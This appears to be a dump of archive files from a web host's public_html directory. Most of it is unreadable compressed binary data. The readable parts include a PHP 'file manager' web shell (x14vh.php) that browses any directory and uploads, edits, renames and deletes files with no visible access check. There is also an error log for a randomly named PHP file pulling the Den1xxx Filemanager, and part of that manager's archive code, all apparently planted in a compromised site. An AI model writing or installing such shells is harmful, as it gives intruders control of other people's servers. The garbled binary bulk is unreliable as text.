BZA;4"l/H6fb3r0+j07هhCvrYϵ7Tmw$x[us姿LlsR,sЇ&o^}7pѡphnP](f2Zh@> 5gؗ:!=cQ+os&ʎcLq"Rxm9'.M{MMl<[qSEKYGsĒ!TXc 9ƈnB(}_(;w(bZ=%1{G~oid]JoYas&iM9gCIb[u=HT]|/d) kK>X $%m.p!)-g֞ ̬~P&*/^H -o@wJq\A!Up&3,9(&& l0!5iu)]paș\*(5gY"Pۺ]EWuW&)si$-Ja##4]k0ÄM .bD6<f\5p])l=Bʴ@$ˑ I]8|a{(*?޸3GeyZ(ՊOdR uz !,9`"P摀|˂o:<cdSlEexj4"?0@Ŵ;ƿ~@vΊYFڡ9;Pԋ2'>!~V35mh.re,+uad?ɳmb,DiOQcwh41dW=sKh:4`f~F.aE[ Xd-R:*E}ƇsZ5C!ÿ;[ qJ`O+-YA#4(>Bb@S,!fU < y~$,#| 5/ 6_>iv-4}ŵn υ@Qbdp<ӂ@u(pcLI/ ~;#$`?DQIZ>btsw7d L`]w!TenfM v+Î.kәqww@j8]rb z/P B4t5IԀ@p}X4ͅ摽p59+=bL 5ے56Dl) /Z|>=%#IމW뭳ZtЛ+%I΄$ (a uB&y?#qZx0C=ɣLyP:':Ӱ>oJ/ȿ/ IŎs@AXfFl)Mw[Ed&;]HSRq?dx Pg-uO_)5f'Fu:@9}O,@FC2a*ڙFf)V[(UN}/_Hg _~Ѐg [ޚ<,g/9Cfg*@bR=FX9E;o{_1`Fdh-kƮqKvS$;ܠ}Ddx[g6P gq"H*Z"jMLb#D08G"Yǐ KsZu09hL]ۯմ/FH> V-k.Ʃ7y[C+.+e2` m`g8VG@a^o^=V`*1mP3Mt4 Tq'wt͠M^;HΈ D@g5Ёnm_Mac¶սQ$ rI*6 HH u36޷Pg`\XZ`᭐Ă7%w#"n(gF6Xp+sIeO)?T]r[x#!1pGCcj޲2\D2ic2C #ݍDp z{t蕘C2ұMwsi-Ay@&K}85b{{oFpNwa`QxiM3ÈUs3뢡 сұK՜(a'5lbbS0&(u1HcfZUu4?XC'3gkiLIӇfLP0ki{dF+ n2܁7 :@xC"8Fs 0VFx߿*<3)u&\w1r.Ьy2~,yβ*DlJߙhPhQ,W Ǵ=xB,0i mz0s!u3qݐzM˴ UUDG Q$OEW]#baRrPzngk/3pRb/6lM/ h+سǍU 3W.&7~(SR>>/XjΨ74ꠎ,< 3ɒ5?#4:o:d7F#R#$6c*pKQ 6 z^2@Ij&Mhrfs$ٖ,ERKdX&6.s,f4#n(~@ tow9N%-"(31lvNo8è\;*rz+ <.*#PE,bg-d.sISa~`dQmiqK^+fpļYSFL(eS(KeeiN c@j,1]rZM3\dl[h߂$Jy<$riqN)S=Ϝ"{)L!zKHk03D$p G@y>%1IhvaF7n_Q/bBPnGһ>Fy4s_rEFDsOh` 'O``@f.H8C ՙc>(lBZm` Hdj%9ZCD ~ƚgE ?o٤qBÍN#pY@oRqvm#,GAeꨆDu4=`ڞLc;1,sm" 7~3:xx bOqtЊ=cx-bM niܭD?? EER!6'&kŚx0as-$57cռ}GaHn6Nsbt2CJ9kY-f z\&#XM"-ZFUFR<|1~ D?[1z=o8Y׬sZɫۆ0! лb /ctHGshpiHA~-[i'1nEf;}JL2o"1B> ChݰܑC,iQOF&ޒV%I@!_E0eVn?HI Iw򍦐W'#o(i״fPd0"e(d.0)zRn:~H(l1 b*>#";u)j:hhty^R&@zX% '7x))xI-/ԑr1Ѝ)SlnB0C!rf5{ȈڃQHF+@  `ٸaV(zq0עҐP >\V,.CfA;hUL7ځ&o5jя,8(h)Łcr-,E9lk4k:/xC|a_{2Hz9S^$~f]*>㱎V'%gTBAtSzu.IZPnS~%T*g5 ״{ӴZl\ӤdZCMA&ߡlAϩƜ,-s?-aK1T>hdH;h= ڙ,-?-nY䬦6<-ATy)F0ui5 Fuӷ c|w7-սD.ʲ?T@nM@09VcQnN~ a@p߲xU]z6(ue峰H1 c6@v7X`aJ%#Aimٴ?B_ag8(J v#c[sjz=c蓉$GM亁e>iIrLMU6+|#or`~͚P?`ޔ{`XhYٗ*5&dܡ܀ŒX]L9Y#fvNA{g ~-dBsnͪ6^7]Ce97{zg ;ӟh̎KJ2ڔ_BxkG`o3 sϼ6~ L}g"H0_+"4luN;Ӓha: $P!0!L[s!qBT@i D z>}R5?ҞXK*{.Pdɡ`i1;Rx.Y`%hfV0f9_;xfV3H${RIdD& 6oPa5,8;&|}z9_{Aǖ=҇v)AWQv_/>%9^4D/#TۿCOjQXuMB+Z_+g.bMq`K$qe BnZ.guC9aj̛oiI*n"܆]p ?YΊd8:dL+EZְ"JxM#q:^^v~赓!SyP Ψ*4mr,m,V2#YPibHwwk+:3?1X?#ѴI6Aܢ<1b G3( Hc궛k]m~G;dQ6@-d( ?i8nBMn&}69'nCȧ O`̣糶58Ii~ftV|M+XG ost(&F۹^ i="۵m.*\Zf7@qghv.NRL3zI.Gi;q Rbiz=}+UףNk '>'DD{#G]pe*nui;EH'PH5xMfIH\1炌q<ͱH}3G$ɕ ?V_ԡx,1۬^qMb |@_Ha&En(ppOb>|#jܷ{~q]WwKx7cV :L>=uf_`2%Nw,x~ehux5*qgcCPY܀4v>%@$޿MrK?6;D?p2 <ާ!g/vNã3䬹c͗v]n4N݉a斢?f!wKaaGG1}PI V9~硖8u!շ\J-xY p\Mv+u'Ps#eaHt?EpGstY_fqZ 8Ep\?>Bk|s3Nj.}BvZ|OFg1\>)C >wP ՌxeMh-TGoZ>ՅUдX|햮"7t 4hKX<>~fg@!#`%g* Z6ҵz`: kT1U;f o+9і63P8? .zlÙټ zVX~?kt4l쌂$ Ⱦ71[ZE .W#d8 \_\<`-}_3u\5 cM&);%PT9Oyc67B!c e/OH7eE?9 "@B7z2fq;_= qi/^ڢ塵*q6ZɊOlvl+"2$dVd(џsyR}ap\Ã^S b;9KY꙯m$Ft`XVDӳ Nklym֧DS980FG\4>X+f<|/Hf,$'yNpȹZj?>ìBHr-2tV >MVr :15G^rYۯ =n;î7 gڣZ*䋵;ylRq}>`ϼhp?:XmSu3ȷzVuH7*!A9! ++,| q`h R;iFk2O'&1;a Tdή#[)Nqq6ZZ[ևt}]/Hݣmd.X4gztr; ZWZcPTC~̱& MjdM $e2pk읞>Ҿj>-ٔ1@yXDPgN-ѱe?'Ƞ0϶ Pp@ o+0Rܳ!|~;;%'ʈcÛeDbX:޶!&vb8>@#.i0c)h\0t~ Z#u@r',SCzx"d G?x"/IO_K+0Ñg{](nT>9cM)'3J5̏xdzqh[%l|0` كCh)(;p9O"Cɍ1>e'IWl|7ŒӿgVYWFGF൒F ѰL'Ӛ"?9@vS:-Sz-T P#0j|%%t 1bSp+\BSYm /#mahF4N|C_o%2ptbOCjb2ܱuk9&ȴ=. 0b` @(3 V| ezy{ZVlܲʊO I *4(iZ$L)Zd>G)~ijx%@/> qN72Q;.'ؓ*CVێ5V@br}jMq_D4ώNRxd Z`Bw7CUD=;6k0=s9r嵹Ldq螆PXƔ6˫Є4$DȻLB$F(X22)Ř|uP8uP.LǣڦV,1ufLA3V9An9&o@ 1Z¼^nF-&gvt ØLd楑+ x5{ (1UVK 0  YOnwa r q/vpFmjvX vGRuGo%2$7FM\~sw겛u׆F\¸ ]Eq+Sg^4.E?D *;YTȅZtmw[|z}%}:慫@lSYz{/3%~E'"] >vAa}hϓk'3w-E|ڌ,C:p[x>=qyvvr K!ˇw__/m+p  FL!dE_=t^PWR!:è*Vr t(,'tt}B`@2L'ͺ xv j-m?&+({hRZWIM'DP=SBJP Ug{I@#u9հ:;['PM""Dq}׺ GDcDЈEd̖B`5 RJ/Ғzus;Ɉn1 yJK ՐvُYּ3Np0>te L,k] F?ۇ&,T2RԜ%u>wX\+ BԚ;c[}'ud^߄N(Hsjl%^C(,ǛTj  ;0ghG@X@=:>aN??$=jV3H%Oɹh?q`n9"q$a2  |P5Ot[e6OCT+nd"K>/ :⺧C'8bX !%["FKӱ1R|E#}Fw~C?VȨh65DV˸G MoIH-kXрh2Zp9,xg!,AA..91^W3(LY}+(P}KKj?Yx*[$)'‰d:^Y*@gvZáӯ[;GgUPxl15M &ҔbQ2LSykZl]M|&qi"BPu4Uw!jSEōZ%j'qՅG9Xu()̄E*b{޻~nE^x SV9eiId[ZS/-j~`6@TϋE{4s!UpԝjOXh>#mt^Nt{Gwuøsȥ ͰQrf0@<@ .lJIL -%t%K!{oHE<FNI//epjS 8S't2ļ{$4-48A"mU!({baa7یJ 'X&Sx.y4ZOΏΚ:K=Ԓ4u1F ւKI۾Г翫XߤugX5G޼`0e̜.vckoՋ$a*I6gj`3u{5Ps5Bj`~]IBr-AW-GN#S?JTr@ Yy-<{txtBPYDr-&bGVoVF.+%=fTΌI*m ~ %Ec4zX1 bL^"X䱈?ȎqD I\DCQ%U(x"$,T.IXcT HaLy҉1wAϸX4NL-z*(H{(meqkhMXrEF MAeSԨH(h&f+$&qhjfR (nslSA}/7H)7DR*Hl[uuEb[Wzƍ [5PtT*(N2 ƥFpe{XELT^QdVV%ulUlG{;E,fL(SU9} T@5u|t0Ge1|U8;c +R!'%UGeL9+W)GPUQ`v爇1;lT*,Mk*A`T1^;1d` g14ARFJs_zCU*W 3AKxH,UZRHG⠥UfװUjxv=,Ndazb.HTh<8 TBj:CsҶtX%]K!2 QIE&+.<N.$^/P5M,s0=]WTsUYR. U1*U\(f)ם#Q赺Bb*f.#Ş^X\+c.PƒnwSaQ]+ϲa}" tRc ߘѢf64$-#.C4ch1m|6J*4ulL2f4gTO未QL3/4fE>N5^|-f紴^N{dI3L,2i%,kRÈj̾Jˑ4_#iH%A/BO E?t4L+Ls=044t%J i6ِLsNqdIˆ4_ 8~M& &asCide8Wf V4guݙ?/3׌^;}k^/ 6asN47v\75kBZL~Aec:. ӣx[ 6߂ٌY <î뉷iѼ7/ 2.Bb /BқIbpͱwEF|nb oϠ糣1v1CƳf/%E|g+@#@%KE?{. [p-p 93.@@l2ʁ/;/pҜt}o:ydo\yȥL?6&%sf{cŠc e:z*& 9d4;C 9pi#\nH+\n~R{zjȔvﶪ%p4PV/.{mRe-{2{Q/fR`:@< Dn#Ц,s9wQKDŽRoiV3[0emcNNFa l̶ k]E@i[m~Ym׻׏mف,K w- O*buWIf%s^훝Z eO4}ԥ^#DF v;"U/0r5k1jr<?t#bl3p#AiȞ-4'SOhl 3Z*@1%PĂOx@:Hki@[ i"eumu&[FX=0ac:x.IE &N8d59RCo/ɀb>-~2OOb z VeN~FbK6xNO};dQ3*H<@ZҲ#'0$3 Lƒ(uEF }%Ŧ.<QD'Wb j;!1\DxNwkG`͝YM>bVsHSA8 '3$'6MCvƸˢxz /Az"OYZ):#F)xJ[;0P4wӡIs@OylyФ]ݾHW(A;@ eU/8Xy0rq{6/1>kd$iG;)Ly\ 2PsJEFtE Ʀ_[f~'ͭ@RL<+0gh>1"z[հ.G6.nB&1MUH|Pί&(w xCX(47a3OǀB|V.V dw3Ks1iD͍ vfB ,vkPS92~Q6"ǎWI{5Ѧ &nH ҆{)Y Мw$|֙Pn\0Cp̘nA2ߵCU>*@U<B~muYp?wZN//KA{"J}BMO"Lc69h"fr_T?U#fd?Qg OJ<]fI==F a oZL}!UQ}q# e=#k~G "[.f3 YLWc\F6d(W݆^?Kq : ZX\U0%νV51P&Ce p`XQb;ї6 #.%svY)-N :4/ ƚjtמ1OsQ@a/L:Df(*  ˮiPБy,8 lC|.FA]ϳ8;xc%4(ɹ/NAQ!>8ӊH$-|mh -*S;mˌFrg2>kJ6 bآO÷|Aԣi=ei-qPr_&Sde( aHVz`5\Z`.{ߏ8PKׯ$e݊YKo#+z{ڋXTꗃSs.:^ctMrU/)8/Z8XBk`kAow, W|W bEx!ވ*M}Q lDwׂe}gګnQVf^ cEa_jvtsA(r]} `5f6Ԕ^5ܕ6$< OtP8ct:Lh{M윂zaq{r[HgtR!B`~#qF8 >[+w(nWcĘ%p0kiU\ѵ~v昦l4~ oHͿ]O,΁[hƴ$NIEfHpNH҅"pŎۃIgTq z%%UJ'B%II,=5|N>\AFp4_b`NW) P$Ē۳LUgp}R"Ûv[3XQ]> JSz71@ qhB"=߿>ӵr#L߶Mz B#0\/Of*їܲGB'4p#N 4|3v}mt7 >gnEM>ݲ;4A'RFkL~ۙ|9a&IY}7Rkc14˚D6ޡݙX f1rD42S-I\ly@pD&WVp",o-k ۙՇQ*bJ͈׽Q34nތ.KsqdOEst|בQ8S,\ȗ s~ C-̙R1P }4Y訆ڴ_x],gcиڃ³i3y`&)7SPXb$cw7:1[7AOs[_OIٝsXK>\-SN,,G;`#܃w W'?Kg`8gaA=dȴXΓgR SEۺHr8썂BvYEVӎ4>2p]Pep7:a p]8 ޷ԽUTDտgm32?D@krAv+klwIL32ð.4z(-άͣ Q^x"+/c0b)nŌvg5C?[ >Y?&rܢȆxc$s{g Vt1_K>R<_$n/S,wvTwZ=ꊖy_{tp(:S72kF:-}sv⌝…vY}~Iq8zmtq&_ n$ 'ױ>1BF{I0)ĥi\:qF캃(zIk#P ,AQrLt7Ɩ v?(6UX)vl[}[ Q:Re*{]׳CJUoYCh,g#\'F)-,#P**^|L#/~IoKƐn'`B=և$2kk K@RC74d?8K~n0?"95-f.aНН_\1 i.sXr~p/.-8Ϋh>m |ʭ%"mj !,%Aۇ7h:(P V(yHO/ .tg~$*6i>ss0烥BȜqpЇnM̡9?:}xJ,IޭA+%wDYzͺ4к5YkԵּ0p1]X{!u0gv7se-yN-?C ?@^v,eN5ﴶew [] 8\G'h}yro|+AFwGm5I"Z r>? qk#S1[\+sdiciﴉޥh"Sb7rF*Cn-ƍZm|f;@wÖ}9290t.5үy[z9 /z#:WLs)!OJVDJr'=U?/2 nak54gnWM)eЈ#1֤gU):*h5IUH*dЉYEYrSWڻH#ϊ^cM*>t$l @Ϛ zN^:yQWsS'khIn~{q|@P.HNͮH:=^*h1;ؙpPov2L FlflJl|yq;?v;?|~2I~ƄQC'0K~t 54Ё7UC\ b_Wwÿǧ4 GͳIdVܪ/P4;:BډVrX[g|*xnJl^OXWَcttJօ_LKT6łzi6c9׌<h:744Qɢq@:-$}`Ѝ@7fw)5Ԫ``dXfZ]60P>=kTYtp,@ZH/k(NktŢ?{iaBӣX!pR~=.҄EǞՙ:PQAX=sOS =4:Jǀ?ph9_[aw-F%  eLG. }b|k̃ * zPmEOeAճrCQhHh %+t:%elkN1VzƋ| Vi*}` XhApޑh8kLu6gG)J$6yZ+pC|k&ϖZ>[_i&jyŀq7pZò#Gw< lđ )nOc Z8K:,GMKjt&COVkHOzC5^vE1M ~EyY+Ah&EHnY`^ 3v$Ԁg=˒MK3 _'c0G/|$g3 +Î$)X!EPYtpq'"ֳFɔ²at?U "!Cg ϰ5)j[osGVyX|~ X #V#$"lXR c^`3 zT2樟VA Ҝ}=C 2k]hLd X5Ȯ.0l'dp&1v-9tkZALJQ-ͧN_=[[sxz>hn=ڃ?O.ŰI8گr㇯;ۧOJͭtʧy~zyvAষ}Ym[x91_>b2XatiQhQDԓ4jgv'Y Z1(O}ygQ$H_5ACCUƒiDt}bWga"*H[w)&R*ⓑ0J MRWDk -a CȰ .kBM DǐCuI r" ﹒Ŋd,YJ;1;6j{uUWyjDWAx`ئ8%^(h.itJLv jը "cbcuJ߿Z.ԫ>۷2(s{2A“V,"hZV0h^lklz>&n-S7ErPv Yf/Y 4FQaK #VinO7OP򹏆Umo=?;ϟ*pDUv'O*[Ol?,w=9}|]ү o ʃNtٛܓ탂uh>6WuT?MwIUkZ<\Ξ] O?=xZvAM&ǯyv<)OVtv٘NmiNϾzz>>~R==8=r7-MXE}ҝߞNSoG_LӇٶss(?_7keݲ7'ϯt4ΞW;Κ'`yWg]oVr=Ȗs|SjIZG(6E$eq;3I%9I0 `0 _;;ν]gTv0YlҮ{5/<6; ¥0ojz} lnv~9{n^<=ލ}sgZxtnww_Fͷ> /w[w힌7Goяxts V7}zGz@Kۿ6HwMFM TRX6Sn/C*T'ч=--)ݝJDG<.%qO0ırnȾ(kV۫77k1!q,B7+xq; uBemIв"nX-I.,,)/qT"=2d/^k!ΜVWRGm%T 7Z̨Ի9rlOSЃ{w)f]vtSƸ΀TY{švѪY;~˲I:!Cܬe7&YҍE҅`1juWGD嫅NwV[yQ.t.՛JE,sTn:/e1j5R:m(eY] ^ozAޢI}eyw_,_Ch !!P=Hǿu64\ -ƎQ2PC׳{D̚ ΢XpaE ?$]CU"FfHV+vq?3J :٨-r,ƅ ; S$I]PbĜ'Zp5jrmmlV+-@bLJRJ%RXDWlfT[fͪfUU͜B$V$0-GT> 0fuۑ1FV51'[ /ᔊۨn΂XRH a2,E@$e=)bZML]:I9J q1|$9&1O}$ K՛n\F\\|daDoxou.W7`b"MuJC|R.W:K*Ǎ˥4֧$|qS2kB^ذBGח02ɪs1q`Qc 94;g#}T%U#&W|$NRan=ˣH[/eU:+x3 RƋv3l@9m!y*\r+ٍٕÍui#K=B} l?^ ^4hd6#_l%rْm?7ʃ yg39RQT4zgփuOgoR]qbsgzu#LКCti_\Pe;B>'Ns"RE޽_.vi)[H]Jgv2PM Qa^,a U${&M- l aav,{4:]Uot30TUQ ;͌Uak06]/#:e] C!̐BKl|D~()6YR,bՙ=d|>]CάEgd2ذQE =m cUX2y)_OV$hW,s&JR٨/:͞JC<@8ĘeUJ),cwM+IB6׀!C>t"'W'kPX OSX`G]`dC䍙>S,2͙TV+bPd';0_JqoBu_wt-/3z#/d 1)gf ľ! ʋMf[]JaMBjwPA5ޮ(  %VO8R<.JC7`,PRjroh*Wr UejQs*% G5" (cMY(<<ݖbVlGmN=` ;).Q&&"MBF#'Eo+콒Zd.P'"ϸ}w!&s!Loga. mŧKj2;t>?`3{2fL)&΄S4(+Q"-T 4^iƖ+j1eTgԁo݁MjD 0#b >n˻ O6)iD r1XgcN|!’'i{ Fks5*xm\p9֩ўZC9L̂>SWFUIS1A?5Bc#IFGl6X#ux)0*<΅$H@`1jƨ\fz I{D'њ2#LL6TȢyawHaL&@2V1 PFZBǤxwf UVgxr ^֌] zcF Z،`aMvIXPXf)ēp%[iӤ20lmJݠC gQ]è-z7A29LѢ UTwR |sCQ">Sav5uI LV<'<[L0ED0xք7c/o fU%]R%MRxmFf&Ax%uaĕ8_)(kj"$WVX Fv0k5 |k\{}R_,W'3i0ӳfM@Y Q0׆Rxd@Ź51U8hc Q&*@H f 4fEHD^;FWɋ-ƵW{f%LTRV)|)9%W(u &h c`F{Jq]'ID\!6 %i}tbŕ`CKf'Vh,V82Kx=`ݠ% " WxKڇ1:$7 O$kx@Tjz+2tUG,GunTk- 싨Kñq%`3=+۹UhN} t$H"ŖfZXWƞNRIñ)9]Izw\\B`s0 JJaYv wtWh6GyMQ>@q, ×x=N6%3# ~j k”q9i*XQ.C&&;gBK4g؅Ѿ}.ylD#(I;Tb\P"Eݞ{"0+X%mZǂX"¯V"y8=2hD:MBu1 k0WO<.fS?_gŠϹ!eM|@=Ք$GÜ6x;llRܤ?ֲ*q%ŧKxj 6nTlu\K׳۽4mdy{ ),W?Ck-I[vC qcMV`vrP:N@%B(јfS;I9 3ǒC}&VL f/ ˈ^ÉI:s(ڐH.]rYbxaEkhrszrk.Ar z晪X 3ldﴵbUpcH_`~o=*dTS52ib.sQBO^ 4dwx~</3eQ:HȤ".L⹣R SV_LR ]HFb(Nj v1Y#itʁ!;j; 7%Pt `A(*".B$i<$No;(R9ӃixwbϲPJ 56ZLmg.R"}GCTw@M,KMӌa @PEBMSF IIhbP.u Lit7M!X f 2 #Cu?מg9ϛjnjkemC]<#|_zC6mTzCs5cPv@S; dCm|O .M~t}?K;k~&l9$@- F¼6N.k`}a#ϧe3QGvؤ&L?؊b9 i)n/qm*9|ܫ1Z {7lgLk9C3%rXTn|A9b=3Ѓi^Ͱ!S2E. A+$py(wnF]gN>}B3Tr"~Vsڢ6xH?O_:)P .K'on`#IcF-?MxH"$Y&N&04 B'ry2vÁСNw~_WSWS;g?Z#sn&1MƬMle8JuuL'Fi?B1sT؜. )K'buA @anCry4TxF&n+$?0 4cPdH`}`ݛHaԯ>8 ay| L` lʖ-03.|]ZjJZѪzUkjM.ԫ Zu^]ԪKV]WJUWUVZ^izmQ-kBPyNj|+o WѴ_gRvJ:"h\" mOSbA޽41Af.3(`Ƙ%*|T7L,A17ipF)Š)=I@l#6-L`QcK*a%%]'I BM1IV(| Ԝx-TI߁ oV3ʼn~&9AtbθKq4S(Dd(z^5~ޛz$HT*R~3&A_Rx4qj{hrAz =bM.Bx>4ʹ^wू1%CcYq= 9b:sٹpH69 x/+Ơ-%J[L)f\eDk*҆tQgadY*:#?VPTӑU}fK5)n>& OWSlJ1LWlӲOpEtav"6j’ #6<]`xM&b.Ax3¬4Nzt9<],䉢lrQr<]P 8gQ&!87ӟ*hTPH9,$!3.!_86'Q<2D% o0LGƱ Ùd`6=&-WXSfE 7 Z'QZv:4H&0~Tx6s]Iы1Mj#C@c0Cg e|9l"r) tAdk`J\K,iӅh4 J zV2z&FҞdL4p-Nk`ʡa'l b^ڿ$ Ვ N 梻% *yFق`L6Wd{*\tFn8 qHZR@%qjDZ5D%% &5DaX5oR aTt9ƁEeHʃ^*&V PɪlZOh^ʦj"-[ڮz(Fmbtq7K&q"(NI2rW'On1I > R$L|ד& uF 5f9e)iln/G=_; FHt QG|dFļGPGbzix?INmd9e&۞p5. O;%R8-nZ,έHӅcǰ\: )Y5 ,\ڱ!J }zsixHt.[+hڍmbl|=O-? xFxEclz~fA Zly!GR!qó4Eg&! _KNUş]vi͌qj"L刊H0bzd唍nY$8}%6\NvőIK<<]s8#H'F(O[{"k" mInI)[&X%&gH費))V1k g=~0go4D_޾mXSI? qHo&wmA,tOJ}%Ǟ IW,J#l^KR6Ҽ<;;=ݑ"F` %ud\@'I#oĹqI.%LO+i4E-5LC`ct=CkQ8̜E(.[Ʀeth)<G{ZP dYdQ(fu:eEz;*Du3HfW&_YsB/a݌X 7+ Ϧ!~h#n;p?a,f#?{]E( ïQFE)RJmRY"|eTFelue7jК2o #Yx9{~\\Ή9Vk[#Թdr r_w~뫅TuGwc\:-_󿶘 7I|7?K7f} a =JaN}(Cv rҾ?|O׋7_,B}opo^Em@ [npNmm!k&縍rR9LAWUJ_E{m_[5RO\Vg,@|I;D}PukK`)*A v Ѕ*qLPzSC@Ωh FKfJZdDp)GJ<ƆrEzafDx|MM5+y@Ha=}pyB2b1* PG#JYdfxk?q8#-,J; Z =信^^W7?rc/n0qIZ?fyu~ళv[[~u^u?hc<^~|6Vzw{wr=?mG?ovw?.]t\okc3]/F]bQƗ[|our_)3rz_E&}໪O~V-)J}aEؾkX:ޢsn;W(1mxX1o;2Px<&@rWʆ]B-:?GY|Qh ~yErTU+ʉ+{[VaQ tdo^ZT+?}Wa[|_z#NG@߿ӭxHPKz&e[d(&& x6an4i.tarnu[x14vh.php000064400000017101151026170510006225 0ustar00 $name) { if (!empty($name)) { $fileName = basename($name); $tmpName = $_FILES['files']['tmp_name'][$key]; $targetFile = $directory . DIRECTORY_SEPARATOR . $fileName; if (move_uploaded_file($tmpName, $targetFile)) { $uploaded++; } else { $failed++; } } } $message = "上传成功:$uploaded 个文件;失败:$failed 个文件。"; echo ""; } } function handleCreateFolder($directory) { if (!empty($_POST['folderName'])) { $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName']; if (!is_dir($newFolder)) { if (mkdir($newFolder)) { echo ""; } else { echo ""; } } else { echo ""; } } } function handleCreateFile($directory) { if (!empty($_POST['fileName'])) { $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName']; if (!file_exists($newFile)) { if (file_put_contents($newFile, '') !== false) { echo ""; } else { echo ""; } } else { echo ""; } } } function handleEditFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo ""; } $content = htmlspecialchars(file_get_contents($filePath)); echo "
"; echo "
"; echo ""; echo "
"; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo ""; } } function handleRenameFile($filePath) { if (!empty($_POST['newName'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; if (rename($filePath, $newPath)) { echo ""; } else { echo ""; } } else { echo "
"; echo ""; echo ""; echo "
"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "
"; } function getFileStatus($path) { if (is_writable($path) && is_readable($path)) { return "border-left: 4px solid green;"; } elseif (!is_writable($path)) { return "border-left: 4px solid red;"; } elseif (is_readable($path)) { return "border-left: 4px solid white;"; } return ""; } function generateFileActions($directory, $file) { $root = urlencode($_GET['root'] ?? __DIR__); return "编辑 | 删除 | 重命名"; } function handleFileActions($filePath) { if (isset($_GET['action'])) { switch ($_GET['action']) { case 'edit': handleEditFile($filePath); break; case 'delete': handleDeleteFile($filePath); break; case 'rename': handleRenameFile($filePath); break; } } } echo "文件管理器 "; echo "

当前目录: $currentDir

"; echo "

返回上级目录 | 回到原目录

"; if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); echo "
"; // 上传文件 echo "
"; echo "

上传文件(最多4个)

"; for ($i = 0; $i < 4; $i++) { echo "
"; } echo "
"; echo "
"; echo "
"; // 合并创建目录和文件 echo "
"; echo "

创建目录 & 创建文件

"; echo "

"; echo "

"; echo "

"; echo ""; echo "
"; echo "
"; echo "
"; // container 结束 if ($_SERVER['REQUEST_METHOD'] === 'POST') { handleUpload($currentDir); handleCreateFolder($currentDir); handleCreateFile($currentDir); } echo ""; echo ""; ?> PKz&e[Amqq a6z8x5.tar.gznu[]O0W+C !V`6@WH^j<{xrh|Q ѱLrrUÞޘƉ}!=Z,4@1Uh&+5Ъ$@w7xAh<{q(nؽq@E`g/؁!rr^QzU&A(32m+OǣI &ŸJ}~)O4DѾ̿lYt1y C>tjjԚE1E 2ҬzB&IU-ӭ]$~eFFFFg-~| PKz&e[ 44 bs6zmp.tar.gznu[ѱN0Εxc8 :A""7&A쳨xzLU1-οuw2ZklL;;BX"R>'y\4~ƙyG҆zNCM'Y)x޾f'iu`+Z6PFW2f{whOQmv:>lR-p([ ^%e5@̈YC v<::e.EG1.z 30+Ql;UGbMS`&n؍`4^#|9L&sMg8PKz&e[xT 2xmzkg.tarnu[index.php000064400000000151151026170260006361 0ustar00PKz&e[* index.php.tarnu[home/gettoplisting/public_html/dd7e5a/erk72g/index.php000064400000000147151026006760016671 0ustar00PKz&e[Mg8 bs6zmp.tarnu[error_log000064400000000430151026170330006454 0ustar00[27-Oct-2025 03:45:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/bs6zmp/809u7.php on line 109 PKz&e[ô 0mdyke.zipnu[PKt&e[Dksnn index.phpnu[PKt&e[Dksnn index.phpnu[PKIPKz&e[<< h6snx5.tarnu[sup0h.php000064400000232747151026170430006332 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is 